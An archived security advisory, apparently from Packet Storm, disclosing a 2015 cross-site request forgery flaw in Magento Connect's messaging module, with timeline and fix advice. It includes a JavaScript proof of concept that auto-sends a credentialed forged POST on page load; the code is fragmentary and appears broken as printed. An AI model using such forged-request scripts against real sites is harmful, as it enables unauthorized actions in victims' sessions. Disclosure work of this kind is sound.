what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

eBay Magento Cross Site Request Forgery

eBay Magento Cross Site Request Forgery
Posted Jun 19, 2015
Authored by Hadji Samir, Vulnerability Laboratory | Site vulnerability-lab.com

eBay Magento suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | b3c0c736ffb72d43d1fe671c55dffcbc1392deeada1261b19a1a3ef5cb7b4d6c

eBay Magento Cross Site Request Forgery

Change Mirror Download
Document Title:
Ebay Magento Bug Bounty #12 - Cross Site Request Forgery Web Vulnerability

References (Source):

Video: http://www.vulnerability-lab.com/get_content.php?id=1526

View Video: https://www.youtube.com/watch?v=x7uaABfxxU0


Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce web-application.

Vulnerability Disclosure Timeline:
2015-03-17: Researcher Notification & Coordination (Hadji Samir)
2015-03-18: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-18: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)
2015-05-19: Vendor Fix/Patch (Magento Developer Team)
2015-05-21: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)
2015-06-17: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site request forgery vulnerability vulnerability has been discovered in the official Magento Commerce web-application.
The vulnerability allows to execute unauthorized client-side application functions without secure validation or session token protection mechanism.

Th vulnerability is located in the `create messages` input of the `magento-connect/message/message/create/` module. Remote attackers with low privilege
user accounts are able to delete internal magento messages of other users without authorization. The attacker can for example intercept the session to
delete all exisiting messages. The type of issue was disclosed to the phpbb board some years ago.

The security risk of the cross site request forgery vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the vulnerability requires a low privilege web-application user account and low user interaction. Successful exploitation of the vulnerability
results in unauthorized delete or add of magento connect service panel messages.

Vulnerable Module(s):
[+] magento-connect/message/message/create/

Proof of Concept (PoC):
The client-side cross site request forgery web vulnerability can be exploited by remote attackers without privileged application user account and with medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to magento connect
2. Open the send message module
3. Switch to the code review and watch the vulnerable source
4. Follow the steps in the video to recreate the csrf attack!
Note: Tamper the session to intercept the url in a browser
5. Successful reproduce of the security vulnerability!

PoC: Vulnerable Source
function submitRequest()
var xhr = new XMLHttpRequest();
var response = '';
xhr.open("POST", "https://www.magentocommerce.com/magento-connect/message/message/create/", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------746394422743733252058139105");
xhr.withCredentials = "true";
var body = "-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"to\"\r\n" +
"Content-Disposition: form-data; name=\"subjects\"\r\n" +
"Content-Disposition: form-data; name=\"description\"\r\n" +
"Content-Disposition: form-data; name=\"extension_url\"\r\n" +
"Content-Disposition: form-data; name=\"parent_message_id\"\r\n"+
"Content-Disposition: form-data; name=\"prevent_click\"\r\n" +
"Content-Disposition: form-data; name=\"draft\"\r\n"+
"Content-Disposition: form-data; name=\"to\"\r\n"+
"Content-Disposition: form-data; name=\"send\"\r\n" +

var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
xhr.onreadystatechange = function () {

window.onload = submitRequest();



Solution - Fix & Patch:
Setup a cross site request forgery token to protect the create/delete messages module in the magento connect online-service.

Security Risk:
The security risk of the cross site request forgery web vulnerability in the messages module is estimated as medium. (CVSS 2.5)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2014 | Vulnerability Laboratory - Evolution Security GmbH ™

SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By